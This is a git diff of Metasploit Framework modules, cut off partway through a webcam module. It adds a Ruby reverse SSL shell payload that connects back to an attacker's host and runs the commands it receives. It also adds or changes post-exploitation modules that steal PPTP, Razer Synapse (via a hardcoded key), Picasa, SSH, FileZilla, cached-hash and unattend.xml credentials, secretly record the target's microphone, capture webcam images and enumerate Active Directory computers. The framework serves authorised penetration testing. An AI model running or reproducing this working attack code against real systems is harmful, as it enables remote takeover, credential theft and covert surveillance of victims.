@@ def initialize(info = {}) end def generate - return super + ruby_string + return prepends(ruby_string) end def ruby_string diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb new file mode 100644 index 000000000000..82f61c768d6b --- /dev/null +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -0,0 +1,52 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/payload/ruby' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Ruby + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Ruby Command Shell, Reverse TCP SSL', + 'Version' => '$Revision$', + 'Description' => 'Connect back and create a command shell via Ruby, uses SSL', + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'ruby', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + def generate + rbs = prepends(ruby_string) + vprint_good rbs + return rbs + end + + def ruby_string + lhost = datastore['LHOST'] + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end" + return rbs + end +end diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb new file mode 100644 index 000000000000..b351fbbb7217 --- /dev/null +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -0,0 +1,130 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/common' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Linux Gather PPTP VPN chap-secrets Credentials', + 'Description' => %q{ + This module collects PPTP VPN information such as client, server, password, + and IP from your target server's chap-secrets file. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r'], + 'Platform' => [ 'linux' ], + 'SessionTypes' => [ "shell", "meterpreter" ] + )) + + register_options( + [ + OptString.new('FILE', [true, 'The default path for chap-secrets', '/etc/ppp/chap-secrets']) + ], self.class) + end + + + # + # Reads chap_secrets + # + def load_file(fname) + begin + data = cmd_exec("cat #{fname}") + rescue RequestError => e + print_error("Failed to retrieve file. #{e.message}") + data = '' + end + + if data =~ /^#{fname}: regular file, no read permission$/ or data =~ /Permission denied$/ + return :access_denied + elsif data =~ /\(No such file or directory\)$/ + return :not_found + elsif data.empty? + return :empty + end + + return data + end + + + # + # Extracts client, server, secret, and IP addresses + # + def extract_secrets(data) + tbl = Rex::Ui::Text::Table.new({ + 'Header' => 'PPTPd chap-secrets', + 'Indent' => 1, + 'Columns' => ['Client', 'Server', 'Secret', 'IP'] + }) + + data.each_line do |l| + # If this line is commented out, ignore it + next if l =~ /^[[:blank:]]*#/ + + found = l.split + + # Nothing is found, skip! + next if found.empty? + + client = (found[0] || '').strip + server = (found[1] || '').strip + secret = (found[2] || '').strip + ip = (found[3,found.length] * ", " || '').strip + + report_auth_info({ + :host => session.session_host, + :port => 1723, #PPTP port + :sname => 'pptp', + :user => client, + :pass => secret, + :type => 'password', + :active => true + }) + + tbl << [client, server, secret, ip] + end + + if tbl.rows.empty? + print_status("This file has no secrets: #{datastore['FILE']}") + else + print_line(tbl.to_s) + + p = store_loot( + 'linux.chapsecrets.creds', + 'text/csv', + session, + tbl.to_csv, + File.basename(datastore['FILE'] + ".txt") + ) + print_good("Secrets stored in: #{p}") + end + end + + + def run + fname = datastore['FILE'] + f = load_file(fname) + + case f + when :access_denied + print_error("No permission to read: #{fname}") + when :not_found + print_error("Not found: #{fname}") + when :empty + print_status("File is actually empty: #{fname}") + else + extract_secrets(f) + end + end + +end \ No newline at end of file diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb index eaad0884e7b3..6b4291f989b4 100644 --- a/modules/post/multi/gather/skype_enum.rb +++ b/modules/post/multi/gather/skype_enum.rb @@ -75,7 +75,7 @@ def run process_db(db_in_loot,p['name']) end end - elsif (session.platfom =~ /win/ and session.type =~ /meter/) + elsif (session.platform =~ /win/ and session.type =~ /meter/) # Iterate thru each user profile in a Windows System using Meterpreter Post API grab_user_profiles().each do |p| if check_skype(p['AppData'],p['UserName']) diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb index 60638eece62a..46966745998c 100644 --- a/modules/post/multi/gather/ssh_creds.rb +++ b/modules/post/multi/gather/ssh_creds.rb @@ -61,11 +61,12 @@ def download_loot(paths) end files.each do |file| - print_good("Downloading #{path}#{sep}#{file} -> #{file}") + next if [".", ".."].include?(file) data = read_file("#{path}#{sep}#{file}") file = file.split(sep).last loot_path = store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File") + print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}") # If the key is encrypted, this will fail and it won't be stored as a # cred. That's ok because we can't really use encrypted keys anyway. diff --git a/modules/post/multi/manage/record_mic.rb b/modules/post/multi/manage/record_mic.rb new file mode 100644 index 000000000000..31a1c34e1810 --- /dev/null +++ b/modules/post/multi/manage/record_mic.rb @@ -0,0 +1,86 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multi Manage Record Microphone', + 'Description' => %q{ + This module will enable and record your target's microphone. + For non-Windows targets, please use Java meterpreter to be + able to use this feature. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r'], + 'Platform' => [ 'win', 'linux', 'osx' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options( + [ + OptInt.new('DURATION', [false, 'Number of seconds to record', 5]) + ], self.class) + end + + def rhost + client.sock.peerhost + end + + def progress + duration = datastore['DURATION'] + m = duration / 10 + m = 1 if m == 0 + + duration.times do |i| + if i % m == 0 + p = ((Float((i == 0) ? 1 : i+1) / duration) * 100).round + print_status("#{rhost} - #{p.to_s}%...") + end + select(nil, nil, nil, 1) + end + end + + def run + if client.nil? + print_error("Invalid session ID selected. Make sure the host isn't dead.") + return + end + + data = nil + + begin + t = framework.threads.spawn("prog", false) { progress } + data = client.webcam.record_mic(datastore['DURATION']) + rescue Rex::Post::Meterpreter::RequestError => e + print_error(e.message) + return + ensure + t.kill + end + + if data + print_status("#{rhost} - Audio size: (#{data.length.to_s} bytes)") + p = store_loot( + "#{rhost}.audio", + 'application/octet-stream', + rhost, + data, + "#{rhost}_audio.wav", + "#{rhost} Audio Recording" + ) + + print_good("#{rhost} - Audio recording saved: #{p}") + end + end + +end \ No newline at end of file diff --git a/modules/post/multi/manage/sudo.rb b/modules/post/multi/manage/sudo.rb index e2e1273030f5..41155587d1ad 100644 --- a/modules/post/multi/manage/sudo.rb +++ b/modules/post/multi/manage/sudo.rb @@ -30,7 +30,11 @@ def initialize(info={}) versions from 2008 and later which support -A. }, 'License' => MSF_LICENSE, - 'Author' => [ 'todb <todb[at]metasploit.com>'], + 'Author' => + [ + 'todb <todb[at]metasploit.com>', + 'Ryan Baxendale <rbaxendale[at]gmail.com>' #added password option + ], 'Platform' => [ 'linux','unix','osx','solaris','aix' ], 'References' => [ @@ -39,6 +43,11 @@ def initialize(info={}) ], 'SessionTypes' => [ 'shell' ] # Need to test 'meterpreter' )) + + register_options( + [ + OptString.new('PASSWORD', [false, 'The password to use when running sudo.']) + ], self.class) end # Run Method for when run command is issued @@ -57,7 +66,12 @@ def run end def get_root - password = session.exploit_datastore['PASSWORD'] + if datastore['PASSWORD'] + password = datastore['PASSWORD'] + else + password = session.exploit_datastore['PASSWORD'] + end + if password.to_s.empty? print_status "No password available, trying a passwordless sudo." else diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index dddf43ab7e71..579522017420 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -516,9 +516,6 @@ def run end end - store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, - "mscache_credentials.txt", "MSCACHE Credentials") - print_status("John the Ripper format:") john.split("\n").each do |pass| @@ -527,8 +524,13 @@ def run if( @vista == 1 ) print_status("Hash are in MSCACHE_VISTA format. (mscash2)") + p = store_loot("mscache2.creds", "text/csv", session, @credentials.to_csv, "mscache2_credentials.txt", "MSCACHE v2 Credentials") + print_status("MSCACHE v2 saved in: #{p}") + else print_status("Hash are in MSCACHE format. (mscash)") + p = store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, "mscache_credentials.txt", "MSCACHE v1 Credentials") + print_status("MSCACHE v1 saved in: #{p}") end rescue ::Interrupt diff --git a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb index ff188cd1411c..8977cbcc5e33 100644 --- a/modules/post/windows/gather/credentials/enum_picasa_pwds.rb +++ b/modules/post/windows/gather/credentials/enum_picasa_pwds.rb @@ -19,18 +19,18 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Gather Google Picasa Password Extractor', + 'Name' => 'Windows Gather Google Picasa Password Extractor', 'Description' => %q{ This module extracts and decrypts the login passwords stored by Google Picasa. }, - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ 'SecurityXploded Team', #www.SecurityXploded.com 'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>', ], - 'Platform' => [ 'win' ], + 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) end @@ -70,33 +70,12 @@ def decrypt_password(data) end def get_registry - psecrets = "" begin print_status("Looking in registry for stored login passwords by Picasa ...") - username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", - 'GaiaEmail') - password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", - 'GaiaPass') - - if username != nil and password != nil - passbin = [password].pack("H*") - pass = decrypt_password(passbin) - - if pass != nil - print_status("Username: #{username}") - print_status("Password: #{pass}") - secret = "#{username}:#{pass}" - psecrets << secret - end - end - - #For early versions of Picasa3 - username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", - 'GaiaEmail') - password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", - 'GaiaPass') + username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 'GaiaEmail') || '' + password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\", 'GaiaPass') || '' credentials = Rex::Ui::Text::Table.new( 'Header' => "Picasa Credentials", @@ -107,29 +86,55 @@ def get_registry "Password" ]) - if username != nil and password != nil + foundcreds = 0 + if !username.empty? and !password.empty? + passbin = [password].pack("H*") + pass = decrypt_password(passbin) + + if pass and !pass.empty? + print_status("Found Picasa 2 credentials.") + print_good("Username: #{username}\t Password: #{pass}") + + foundcreds = 1 + credentials << [username,pass] + end + end + + #For early versions of Picasa3 + username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", 'GaiaEmail') || '' + password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\", 'GaiaPass') || '' + + + if !username.empty? and !password.empty? passbin = [password].pack("H*") pass = decrypt_password(passbin) - if pass != nil - print_status("Username: #{username}") - print_status("Password: #{pass}") + if pass and !pass.empty? + print_status("Found Picasa 3 credentials.") + print_good("Username: #{username}\t Password: #{pass}") + foundcreds = 1 credentials << [username,pass] - path = store_loot( - "picasa.creds", - "text/csv", - session, - credentials.to_csv, - "decrypted_picasa_data.csv", - "Decrypted Picasa Passwords") - - print_status("Decrypted passwords saved in: #{path}") end end + if foundcreds == 1 + path = store_loot( + "picasa.creds", + "text/csv", + session, + credentials.to_csv, + "decrypted_picasa_data.csv", + "Decrypted Picasa Passwords" + ) + + print_status("Decrypted passwords saved in: #{path}") + else + print_status("No Picasa credentials found.") + end + rescue ::Exception => e - print_error("An error has occurred: #{e.to_s}") + print_error("An error has occurred: #{e.to_s}") end end diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index a21ea3f81283..619b80190e49 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -89,10 +89,10 @@ def get_filezilla_creds(paths) 'Indent' => 1, 'Columns' => [ - "User", - "Password", "Host", "Port", + "User", + "Password", "SSL" ]) @@ -105,14 +105,15 @@ def get_filezilla_creds(paths) "User", "Dir", "FileRead", + "FileWrite", "FileDelete", "FileAppend", "DirCreate", "DirDelete", "DirList", "DirSubdirs", - "Home", - "AutoCreate" + "AutoCreate", + "Home" ]) configuration = Rex::Ui::Text::Table.new( @@ -167,7 +168,7 @@ def get_filezilla_creds(paths) perms.each do |perm| permissions << [perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'], perm['filedelete'], perm['fileappend'], - perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate']] + perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate'], perm['home']] end vprint_status(" Collected the following configuration details:") diff --git a/modules/post/windows/gather/credentials/razer_synapse.rb b/modules/post/windows/gather/credentials/razer_synapse.rb new file mode 100644 index 000000000000..b0b569ade040 --- /dev/null +++ b/modules/post/windows/gather/credentials/razer_synapse.rb @@ -0,0 +1,121 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/windows/user_profiles' +require 'openssl' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::Windows::UserProfiles + include Msf::Post::File + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Razer Synapse Password Extraction', + 'Description' => %q{ + This module will enumerate passwords stored by the Razer Synapse + client. The encryption key and iv is publicly known. This module + will not only extract encrypted password but will also decrypt + password using public key. Affects versions earlier than 1.7.15. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>', + 'Matt Howard "pasv" <themdhoward[at]gmail.com>', #PoC + 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>' + ], + 'References' => + [ + [ 'URL', 'http://www.pentestgeek.com/2013/01/16/hard-coded-encryption-keys-and-more-wordpress-fun/' ], + [ 'URL', 'https://github.com/pasv/Testing/blob/master/Razer_decode.py' ] + ], + 'SessionTypes' => [ 'meterpreter' ], + 'Platform' => [ 'win' ] + )) + end + + # decrypt password + def decrypt(hash) + cipher = OpenSSL::Cipher::Cipher.new 'aes-256-cbc' + cipher.decrypt + cipher.key = "hcxilkqbbhczfeultgbskdmaunivmfuo" + cipher.iv = "ryojvlzmdalyglrj" + + hash.each_pair { |user,pass| + pass = pass.unpack("m")[0] + + password = cipher.update pass + password << cipher.final rescue return nil + + store_creds(user, password.split("||")[1]) + print_good("Found credentials") + print_good("\tUser: #{user}") + print_good("\tPassword: #{password.split("||")[1]}") + } + end + + def store_creds(user, pass) + if db + report_auth_info( + :host => Rex::Socket.resolv_to_dotted("www.razerzone.com"), + :port => 443, + :ptype => 'password', + :sname => 'razer_synapse', + :user => user, + :pass => pass, + :duplicate_ok => true, + :active => true + ) + vprint_status("Loot stored in the db") + end + end + + # Loop throuhg config, grab user and pass + def parse_config(config) + if not config =~ /<Version>\d<\/Version>/ + creds = {} + cred_group = config.split("</SavedCredentials>") + cred_group.each { |cred| + user = /<Username>([^<]+)<\/Username>/.match(cred) + pass = /<Password>([^<]+)<\/Password>/.match(cred) + if user and pass + creds[user[1]] = pass[1] + end + } + return creds + else + print_error("Module only works against configs from version < 1.7.15") + return nil + end + end + + # main control method + def run + grab_user_profiles().each do |user| + if user['LocalAppData'] + accounts = user['LocalAppData'] + "\\Razer\\Synapse\\Accounts\\RazerLoginData.xml" + next if not file?(accounts) + print_status("Config found for user #{user['UserName']}") + + contents = read_file(accounts) + + # read the contents of file + creds = parse_config(contents) + if creds + decrypt(creds) + else + print_error("Could not read config or empty for #{user['UserName']}") + end + end + end + end +end \ No newline at end of file diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb new file mode 100644 index 000000000000..7909ee8966ef --- /dev/null +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -0,0 +1,233 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'rex' +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather AD Enumerate Computers', + 'Description' => %q{ + This module will enumerate computers in the default AD directory. + + Optional Attributes: + objectClass, cn, description, distinguishedName, instanceType, whenCreated, + whenChanged, uSNCreated, uSNChanged, name, objectGUID, + userAccountControl, badPwdCount, codePage, countryCode, + badPasswordTime, lastLogoff, lastLogon, localPolicyFlags, + pwdLastSet, primaryGroupID, objectSid, accountExpires, + logonCount, sAMAccountName, sAMAccountType, operatingSystem, + operatingSystemVersion, operatingSystemServicePack, serverReferenceBL, + dNSHostName, rIDSetPreferences, servicePrincipalName, objectCategory, + netbootSCPBL, isCriticalSystemObject, frsComputerReferenceBL, + lastLogonTimestamp, msDS-SupportedEncryptionTypes + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options([ + OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 20]), + OptBool.new('STORE', [true, 'Store file in loot.', false]), + OptString.new('ATTRIBS', [true, 'Attributes to retrieve.', 'dNSHostName,distinguishedName,description,operatingSystem']) + ], self.class) + end + + def read_value(addr) + val_size = client.railgun.memread(addr-4,4).unpack('V*')[0] + value = client.railgun.memread(addr, val_size) + return value.strip + end + + def run + unless session.platform == "x64/win64" + print_error("Does not work in x86 meterpreter (use x64 instead) see: http://dev.metasploit.com/redmine/issues/7639"); + return + end + + print_status("Connecting to default LDAP server") + session_handle = bind_default_ldap_server + + return false unless session_handle + + print_status("Querying default naming context") + + query_result = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"]) + first_entry_attributes = query_result[0]['attributes'] + defaultNamingContext = first_entry_attributes[0]['values'] # Value from First Attribute of First Entry + + print_status("Default Naming Context #{defaultNamingContext}") + + attributes = datastore['ATTRIBS'].split(',') + + print_status("Querying computer objects - Please wait...") + results = query_ldap(session_handle, defaultNamingContext, 2, "(objectClass=computer)", attributes) + + print_status("Unbinding from LDAP service.") + wldap32.ldap_unbind(session_handle) + + results_table = Rex::Ui::Text::Table.new( + 'Header' => 'AD Computers', + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => attributes + ) + + results.each do |result| + row = [] + + result['attributes'].each do |attr| + if attr['values'].nil? + row << "" + else + row << attr['values'] + end + end + + results_table << row + + end + + print_line results_table.to_s + if datastore['STORE'] + stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv) + print_status("Results saved to: #{stored_path}") + end + end + + def wldap32 + return client.railgun.wldap32 + end + + def bind_default_ldap_server + vprint_status ("Initializing LDAP connection.") + session_handle = wldap32.ldap_sslinitA("\x00\x00\x00\x00", 389, 0)['return'] + vprint_status("LDAP Handle: #{session_handle}") + + if session_handle == 0 + print_error("Unable to connect to LDAP server") + wldap32.ldap_unbind(session_handle) + return false + end + + vprint_status ("Binding to LDAP server.") + bind = wldap32.ldap_bind_sA(session_handle, nil, nil, 0x0486)['return'] #LDAP_AUTH_NEGOTIATE 0x0486 + + if bind != 0 + print_error("Unable to bind to LDAP server") + wldap32.ldap_unbind(session_handle) + return false + end + + return session_handle + end + + def query_ldap(session_handle, base, scope, filter, attributes) + vprint_status ("Searching LDAP directory.") + search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4) + vprint_status("search: #{search}") + + if search['return'] != 0 + print_error("No results") + wldap32.ldap_msgfree(search['res']) + return + end + + search_count = wldap32.ldap_count_entries(session_handle, search['res'])['return'] + + if(search_count == 0) + print_error("No entries retrieved") + wldap32.ldap_msgfree(search['res']) + return + end + + print_status("Entries retrieved: #{search_count}") + + vprint_status("Retrieving results...") + + entries = {} + entry_results = [] + + if datastore['MAX_SEARCH'] == 0 + max_search = search_count + else + max_search = [datastore['MAX_SEARCH'], search_count].min + end + + 0.upto(max_search - 1) do |i| + print '.' + + if(i==0) + entries[0] = wldap32.ldap_first_entry(session_handle, search['res'])['return'] + else + entries[i] = wldap32.ldap_next_entry(session_handle, entries[i-1])['return'] + end + + if(entries[i] == 0) + print_error("Failed to get entry.") + wldap32.ldap_unbind(session_handle) + wldap32.ldap_msgfree(search['res']) + return + end + + vprint_status("Entry #{i}: #{entries[i]}") + + attribute_results = [] + attributes.each do |attr| + vprint_status("Attr: #{attr}") + + pp_value = wldap32.ldap_get_values(session_handle, entries[i], attr)['return'] + vprint_status("ppValue: 0x#{pp_value.to_s(16)}") + + if pp_value == 0 + vprint_error("No attribute value returned.") + else + count = wldap32.ldap_count_values(pp_value)['return'] + vprint_status "Value count: #{count}" + + value_results = [] + if count < 1 + vprint_error("Bad Value List") + else + 0.upto(count - 1) do |j| + p_value = client.railgun.memread(pp_value+(j*4), 4).unpack('V*')[0] + vprint_status "p_value: 0x#{p_value.to_s(16)}" + value = read_value(p_value) + vprint_status "Value: #{value}" + if value.nil? + value_results << "" + else + value_results << value + end + end + value_results = value_results.join('|') + end + end + + if pp_value != 0 + vprint_status("Free value memory.") + wldap32.ldap_value_free(pp_value) + # wldap32.ldap_memfree(attr) No need to free attributes as these are hardcoded + end + + attribute_results << {"name" => attr, "values" => value_results} + end + + entry_results << {"id" => i, "attributes" => attribute_results} + end + + print_line + return entry_results + end +end diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index 8fcf768d1627..baa33094ccdf 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -7,6 +7,7 @@ require 'msf/core' require 'msf/core/post/file' +require 'rex/parser/unattend' require 'rexml/document' class Metasploit3 < Msf::Post @@ -45,7 +46,7 @@ def initialize(info={}) # - # Determie if unattend.xml exists or not + # Determine if unattend.xml exists or not # def unattend_exists?(xml_path) x = session.fs.file.stat(xml_path) rescue nil @@ -75,152 +76,6 @@ def load_unattend(xml_path) return xml, raw end - - # - # Extract sensitive data from UserAccounts - # - def extract_useraccounts(user_accounts) - return[] if user_accounts.nil? - - cred_tables = [] - account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts'] - account_types.each do |t| - element = user_accounts.elements[t] - next if element.nil? - - case t - # - # Extract the password from AdministratorPasswords - # - when account_types[0] - table = Rex::Ui::Text::Table.new({ - 'Header' => 'AdministratorPasswords', - 'Indent' => 1, - 'Columns' => ['Username', 'Password'] - }) - - password = element.elements['Value'].get_text.value rescue '' - plaintext = element.elements['PlainText'].get_text.value rescue 'true' - - if plaintext == 'false' - password = Rex::Text.decode_base64(password) - password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '') - end - - if not password.empty? - table << ['Administrator', password] - cred_tables << table - end - - # - # Extract the sensitive data from DomainAccounts. - # According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts - # - when account_types[1] #DomainAccounts - table = Rex::Ui::Text::Table.new({ - 'Header' => 'DomainAccounts', - 'Indent' => 1, - 'Columns' => ['Username', 'Group'] - }) - - element.elements.each do |account_list| - name = account_list.elements['DomainAccount/Name'].get_text.value rescue '' - group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true' - - table << [name, group] - end - - cred_tables << table if not table.rows.empty? - - # - # Extract the username/password from LocalAccounts - # - when account_types[2] #LocalAccounts - table = Rex::Ui::Text::Table.new({ - 'Header' => 'LocalAccounts', - 'Indent' => 1, - 'Columns' => ['Username', 'Password'] - }) - - element.elements.each do |local| - password = local.elements['Password/Value'].get_text.value rescue '' - plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true' - - if plaintext == 'false' - password = Rex::Text.decode_base64(password) - password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') - end - - username = local.elements['Name'].get_text.value rescue '' - table << [username, password] - end - - cred_tables << table if not table.rows.empty? - end - end - - return cred_tables - end - - - # - # Extract sensitive data from AutoLogon - # - def extract_autologon(auto_logon) - return [] if auto_logon.nil? - - domain = auto_logon.elements['Domain'].get_text.value rescue '' - username = auto_logon.elements['Username'].get_text.value rescue '' - password = auto_logon.elements['Password/Value'].get_text.value rescue '' - plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true' - - if plaintext == 'false' - password = Rex::Text.decode_base64(password) - password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') - end - - table = Rex::Ui::Text::Table.new({ - 'Header' => 'AutoLogon', - 'Indent' => 1, - 'Columns' => ['Domain', 'Username', 'Password'] - }) - - table << [domain, username, password] - - return [table] - end - - - # - # Extract sensitive data from Deployment Services. - # We can only seem to add one <Login> with Windows System Image Manager, so - # we'll only enum one. - # - def extract_deployment(deployment) - return [] if deployment.nil? - - domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue '' - username = deployment.elements['Login/Credentials/Username'].get_text.value rescue '' - password = deployment.elements['Login/Credentials/Password'].get_text.value rescue '' - plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true' - - if plaintext == 'false' - password = Rex::Text.decode_base64(password) - password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') - end - - table = Rex::Ui::Text::Table.new({ - 'Header' => 'WindowsDeploymentServices', - 'Indent' => 1, - 'Columns' => ['Domain', 'Username', 'Password'] - }) - - table << [domain, username, password] - - return [table] - end - - # # Save Rex tables separately # @@ -309,20 +164,8 @@ def run # XML failed to parse, will not go on from here return if not xml - # Extract the credentials - tables = [] - unattend = xml.elements['unattend'] - return if unattend.nil? - - unattend.each_element do |settings| - next if settings.class != REXML::Element - settings.get_elements('component').each do |c| - next if c.class != REXML::Element - tables << extract_useraccounts(c.elements['UserAccounts']) - tables << extract_autologon(c.elements['AutoLogon']) - tables << extract_deployment(c.elements['WindowsDeploymentServices']) - end - end + results = Rex::Parser::Unattend.parse(xml) + tables = create_display_tables(results) # Save the data save_cred_tables(tables.flatten) if not tables.empty? @@ -330,4 +173,60 @@ def run return if not datastore['GETALL'] end end + + def create_display_tables(results) + tables = [] + wds_table = Rex::Ui::Text::Table.new({ + 'Header' => 'WindowsDeploymentServices', + 'Indent' => 1, + 'Columns' => ['Domain', 'Username', 'Password'] + }) + + autologin_table = Rex::Ui::Text::Table.new({ + 'Header' => 'AutoLogon', + 'Indent' => 1, + 'Columns' => ['Domain', 'Username', 'Password'] + }) + + admin_table = Rex::Ui::Text::Table.new({ + 'Header' => 'AdministratorPasswords', + 'Indent' => 1, + 'Columns' => ['Username', 'Password'] + }) + + domain_table = Rex::Ui::Text::Table.new({ + 'Header' => 'DomainAccounts', + 'Indent' => 1, + 'Columns' => ['Username', 'Group'] + }) + + local_table = Rex::Ui::Text::Table.new({ + 'Header' => 'LocalAccounts', + 'Indent' => 1, + 'Columns' => ['Username', 'Password'] + }) + results.each do |result| + unless result.empty? + case result['type'] + when 'wds' + wds_table << [result['domain'], result['username'], result['password']] + when 'auto' + autologin_table << [result['domain'], result['username'], result['password']] + when 'admin' + admin_table << [result['username'], result['password']] + when 'domain' + domain_table << [result['username'], result['group']] + when 'local' + local_table << [result['username'], result['password']] + end + end + end + + tables << autologin_table + tables << admin_table + tables << domain_table + tables << local_table + + return tables + end end diff --git a/modules/post/windows/manage/webcam.rb b/modules/post/windows/manage/webcam.rb new file mode 100644 index 000000000000..aab47587c388 --- /dev/null +++ b/modules/post/windows/manage/webcam.rb @@ -0,0 +1,136 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Post + + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Manage Webcam', + 'Description' => %q{ + This module will allow the user to detect installed webcams (with + the LIST action) or take a snapshot (with the SNAPSHOT) action. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r'], + 'Platform' => [ 'win'], + 'SessionTypes' 